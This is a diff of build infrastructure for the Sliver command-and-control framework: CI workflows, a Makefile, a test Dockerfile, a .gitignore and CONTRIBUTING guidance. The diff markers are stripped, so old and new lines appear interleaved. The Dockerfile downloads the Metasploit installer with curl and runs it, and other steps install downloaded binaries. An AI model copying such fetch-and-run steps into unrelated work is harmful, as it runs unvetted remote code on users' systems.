zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
|
||||
# Windows
|
||||
- name: Package Windows
|
||||
run: |
|
||||
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
# MacOS AMD64
|
||||
- name: Package MacOS AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
|
||||
# MacOS ARM64
|
||||
# - name: Package MacOS ARM64
|
||||
# run: |
|
||||
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
|
||||
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: false
|
||||
files: |
|
||||
./release/*.zip
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: true
|
||||
files: |
|
||||
./artifacts/*
|
||||
@@ -13,17 +13,17 @@ jobs:
|
||||
name: CodeQL Security Scan
|
||||
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
|
||||
# Setup go environment
|
||||
- name: Go 1.16
|
||||
uses: actions/setup-go@v2
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
|
||||
go-version: "1.19.1"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -31,13 +31,7 @@ jobs:
|
||||
if: ${{ github.event_name == 'pull_request' }}
|
||||
fetch-depth: 2
|
||||
|
||||
# If this run was triggered by a pull request event then checkout
|
||||
# the head of the pull request instead of the merge commit.
|
||||
# Only include this step if you are running this workflow on pull requests.
|
||||
- run: git checkout HEAD^2
|
||||
if: ${{ github.event_name == 'pull_request' }}
|
||||
|
||||
- name: OS Packages
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
@@ -61,24 +55,23 @@ jobs:
|
||||
&& make install
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Remove Vendor
|
||||
run: rm -rf ./vendor/
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v1
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
languages: go
|
||||
|
||||
# Build the server ... is this necessary though?
|
||||
- run: |
|
||||
make linux
|
||||
make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v1
|
||||
uses: github/codeql-action/analyze@v2
|
||||
env:
|
||||
VERSION: ${{github.sha}}
|
||||
+48
-84
@@ -1,115 +1,79 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
branches:
|
||||
- test/*
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
|
||||
- name: Go 1.16
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Make
|
||||
run: make linux
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Remove Vendor
|
||||
run: rm -rf ./vendor/
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
|
||||
- name: Make
|
||||
run: make linux
|
||||
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
|
||||
- name: Go 1.16
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Remove Vendor
|
||||
run: rm -rf ./vendor/
|
||||
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Test
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
- name: Test
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
+16
-16
@@ -1,23 +1,23 @@
|
||||
.vscode/*
|
||||
.devcontainer
|
||||
/.vscode/*
|
||||
/.devcontainer
|
||||
/.idea
|
||||
|
||||
release-*
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
# Generated by makefile
|
||||
client/version/version.go
|
||||
server/assets/version.go
|
||||
/release-*
|
||||
|
||||
# Diffs
|
||||
*.orig
|
||||
|
||||
# Binaries
|
||||
sliver-server
|
||||
sliver-server_arm64
|
||||
sliver.exe
|
||||
/sliver-server
|
||||
/sliver-server_arm64
|
||||
/sliver.exe
|
||||
|
||||
sliver-client
|
||||
sliver-client_arm64
|
||||
sliver-client.exe
|
||||
/sliver-client
|
||||
/sliver-client_arm64
|
||||
/sliver-client.exe
|
||||
|
||||
sliver-server-linux.zip
|
||||
sliver-server-macos.zip
|
||||
@@ -31,14 +31,14 @@ sliver-server-windows.zip
|
||||
*.dylib
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
/*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
/*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
|
||||
*.pb.go
|
||||
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
+3
-1
@@ -13,6 +13,7 @@ Contributing to Sliver
|
||||
* Any changes to `vendor/` should be in a distinct commit
|
||||
* Avoid use of `CGO` (limits cross-platform support)
|
||||
* Avoid use of empty interfaces
|
||||
* Never import anything from the `server` package in the `client` package.
|
||||
|
||||
## Security
|
||||
|
||||
@@ -23,9 +24,10 @@ Contributing to Sliver
|
||||
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
|
||||
* Whenever possible, use the following algorithms/encryption modes:
|
||||
- AES-GCM-256
|
||||
- RSA-OAEP-2048 / RSA-OAEP-4096
|
||||
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
|
||||
- Curves P521, P384, P256
|
||||
- Curve25519, XSalsa20, and Poly1305 (Nacl)
|
||||
- ChaCha20Poly1305
|
||||
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
|
||||
- MD5
|
||||
- SHA1
|
||||
|
||||
+30
-29
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.16
|
||||
FROM golang:1.19.2
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,21 +6,22 @@ FROM golang:1.16
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.11.4
|
||||
ENV PROTOC_GEN_GO_VER 1.3.5
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
#
|
||||
# > User
|
||||
@@ -31,10 +32,9 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
#
|
||||
# > Metasploit
|
||||
#
|
||||
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
@@ -42,27 +42,28 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
# protoc
|
||||
# Protoc
|
||||
WORKDIR /tmp
|
||||
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& cp -vv ./bin/protoc /usr/local/bin
|
||||
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
RUN wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
# assets
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
|
||||
RUN ./go-assets.sh
|
||||
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
|
||||
RUN make clean-all \
|
||||
&& ./go-assets.sh
|
||||
|
||||
RUN ls -lah && /opt/sliver-server unpack --force \
|
||||
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
# Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# Clean up
|
||||
RUN make clean \
|
||||
&& rm -rf /go/src/* \
|
||||
&& rm -rf /home/sliver/.sliver
|
||||
|
||||
@@ -3,36 +3,51 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ENV = CGO_ENABLED=1
|
||||
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
VERSION = $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
PKG = github.com/bishopfox/sliver/client/version
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = protoc protoc-gen-go uname sed git zip go date
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
|
||||
@@ -41,69 +56,106 @@ UNAME_P := $(shell uname -p)
|
||||
|
||||
# If the target is Windows from Linux/Darwin, check for mingw
|
||||
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
|
||||
ifneq (,$(findstring cgosqlite,$(TAGS)))
|
||||
ENV +=CGO_ENABLED=1
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
# *** Start Darwin ***
|
||||
# Programs required for generating protobuf/grpc files
|
||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||
ifeq ($(MAKECMDGOALS), pb)
|
||||
K := $(foreach exec,$(PB_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
|
||||
endif
|
||||
|
||||
# *** Darwin ***
|
||||
ifeq ($(UNAME_S),Darwin)
|
||||
SED_INPLACE := sed -i ''
|
||||
STATIC_TARGET := macos
|
||||
endif
|
||||
|
||||
# If no target is specified, determine GOARCH
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ENV += GOARCH=arm64
|
||||
ifeq ($(MAKECMDGOALS), )
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux-arm64)
|
||||
# Redefine TAGS/ENV to use pure go sqlite3
|
||||
TAGS = -tags osusergo,netgo,gosqlite
|
||||
ENV = CGO_ENABLED=0
|
||||
endif
|
||||
# *** End Darwin ***
|
||||
|
||||
# *** Start Linux ***
|
||||
ifeq ($(UNAME_S),Linux)
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
# *** End Linux ***
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean pb
|
||||
$(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean pb
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean pb
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean pb
|
||||
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux-arm64
|
||||
linux-arm64: clean validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean pb
|
||||
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=plugins=grpc,paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
